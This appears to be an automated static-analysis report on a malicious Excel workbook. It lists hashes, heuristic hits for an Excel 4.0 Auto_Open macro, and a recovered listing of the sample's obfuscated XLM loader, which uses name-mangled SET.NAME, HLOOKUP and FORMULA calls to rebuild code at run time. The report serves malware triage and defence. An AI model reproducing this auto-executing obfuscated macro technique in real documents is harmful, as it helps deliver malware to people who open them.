Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ceadb7d8338ff759…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:29 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: bd28c687e9cd65e0f1ca5af4834590d1 SHA-1: e72a3dcd11e25d3dfd120db6663998b6e5c30b21 SHA-256: ceadb7d8338ff7593eec26a78d8b766400c67d4ce196e9ccf833bf1f2d2da8d9
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6429 bytes
SHA-256: 9139fecbc40b1b940afb4a6d4b77128673af05d892231e3bc98b23c62b287841
Detection
ClamAV: No threats found
Obfuscation or payload: likely
21 of 40 identifiers look randomly generated (e.g. 'tUtYNwzaBMkW') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gYc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H128 
' 0018     21 LABEL : Cell Value, String Constant - aYWQLK len=0 
' 0018     27 LABEL : Cell Value, String Constant - CqhFWBTGuWhY len=0 
' 0018     22 LABEL : Cell Value, String Constant - CwljMVd len=0 
' 0018     27 LABEL : Cell Value, String Constant - DaPUKOhUQsmy len=0 
' 0018     25 LABEL : Cell Value, String Constant - gTpiMdLqvS len=0 
' 0018     24 LABEL : Cell Value, String Constant - gXVUjzpgm len=0 
' 0018     27 LABEL : Cell Value, String Constant - HHTVcTqeDEhp len=0 
' 0018     23 LABEL : Cell Value, String Constant - hmDtBHrf len=0 
' 0018     26 LABEL : Cell Value, String Constant - HmWPtggaYcL len=0 
' 0018     25 LABEL : Cell Value, String Constant - JOnxSJNwGw len=0 
' 0018     27 LABEL : Cell Value, String Constant - jqtjNbnenPpf len=0 
' 0018     22 LABEL : Cell Value, String Constant - JtgSDON len=0 
' 0018     25 LABEL : Cell Value, String Constant - NMwlpLrzxM len=0 
' 0018     23 LABEL : Cell Value, String Constant - oLaIHqoS len=0 
' 0018     27 LABEL : Cell Value, String Constant - REtlWQStxUCm len=0 
' 0018     27 LABEL : Cell Value, String Constant - rInzsFthcDYc len=0 
' 0018     27 LABEL : Cell Value, String Constant - tUtYNwzaBMkW len=0 
' 0018     22 LABEL : Cell Value, String Constant - vMbRqLu len=0 
' 0018     22 LABEL : Cell Value, String Constant - wjBgVQW len=0 
' 0018     22 LABEL : Cell Value, String Constant - zTPtvKE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  gYc,H46,"SET.NAME("rInzsFthcDYc",VALUE("0"))",""
'  gYc,H49,"SET.NAME("JtgSDON",rInzsFthcDYc)",""
'  gYc,H52,"SET.NAME("HHTVcTqeDEhp",rInzsFthcDYc)",""
'  gYc,H55,"SET.NAME("DaPUKOhUQsmy",COUNTA(CwljMVd))",""
'  gYc,H59,"SET.NAME("zTPtvKE",COUNTA(HmWPtggaYcL))",""
'  gYc,H64,[],""
'  gYc,H66,"SET.NAME("gTpiMdLqvS","")",""
'  gYc,H70,"JtgSDON",""
'  gYc,H75,"SET.NAME("JOnxSJNwGw",HLOOKUP("*",CwljMVd,JtgSDON,FALSE))",""
'  gYc,H78,"aYWQLK",""
'  gYc,H82,"SET.NAME("jqtjNbnenPpf",rInzsFthcDYc)",""
'  gYc,H84,[],""
'  gYc,H87,"jqtjNbnenPpf",""
'  gYc,H89,"hmDtBHrf",""
'  gYc,H93,"tUtYNwzaBMkW",""
'  gYc,H97,"CqhFWBTGuWhY",""
'  gYc,H100,"SET.NAME("oLaIHqoS",VALUE(HLOOKUP("*",HmWPtggaYcL,CqhFWBTGuWhY,FALSE)))",""
'  gYc,H102,"REtlWQStxUCm",""
'  gYc,H105,"gTpiMdLqvS",""
'  gYc,H107,"HHTVcTqeDEhp",""
'  gYc,H111,NEXT(),""
'  gYc,H114,"NMwlpLrzxM",""
'  gYc,H119,"SET.NAME("f",INT(T(FORMULA(T(gTpiMdLqvS)&"",""&T(NMwlpLrzxM)))))",""
'  gYc,H121,"vMbRqLu",""
'  gYc,H123,NEXT(),""
'  gYc,H125,RETURN(),""
'  gYc,H160,"SET.NAME("wjBgVQW",H46)",""
'  gYc,H163,"CwljMVd",""
'  gYc,H168,"SET.NAME("HmWPtggaYcL",R79C12)",""
'  gYc,H172,"SET.NAME("vMbRqLu",181)",""
'  gYc,H175,"SET.NAME("gXVUjzpgm",8)",""
'  gYc,H180,wjBgVQW(),""
'  gYc,H181,HALT(),""

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